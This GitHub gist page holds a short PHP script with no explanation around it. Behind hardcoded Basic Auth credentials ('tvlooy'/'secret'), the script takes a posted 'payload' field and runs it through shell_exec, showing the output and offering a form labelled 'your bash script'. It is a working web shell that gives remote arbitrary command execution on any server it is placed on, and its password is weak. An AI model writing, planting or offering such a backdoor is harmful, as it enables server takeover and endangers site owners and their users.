Skip to content

Instantly share code, notes, and snippets.

@tvlooy
Created February 7, 2020 10:50
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save tvlooy/0abed3e5fdbf8f356e5ceec379b6c6ac to your computer and use it in GitHub Desktop.
Save tvlooy/0abed3e5fdbf8f356e5ceec379b6c6ac to your computer and use it in GitHub Desktop.
<?php
if ($_SERVER['PHP_AUTH_USER'] !== 'tvlooy' ||
$_SERVER['PHP_AUTH_PW'] !== 'secret'
) {
header('WWW-Authenticate: Basic realm="Login required"');
header('HTTP/1.0 401 Unauthorized');
echo 'Access denied.';
exit;
}
if (isset($_POST['payload'])) {
echo
'<pre style="color: #fff; padding: 10px; background: #000;">' .
shell_exec($_POST['payload']) .
'</pre>';
}
?>
<form method="post">
<textarea
name="payload"
style="width: 100%"
placeholder="your bash script"
rows="20"></textarea>
<br>
<input type="submit" value="Run">
</form>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment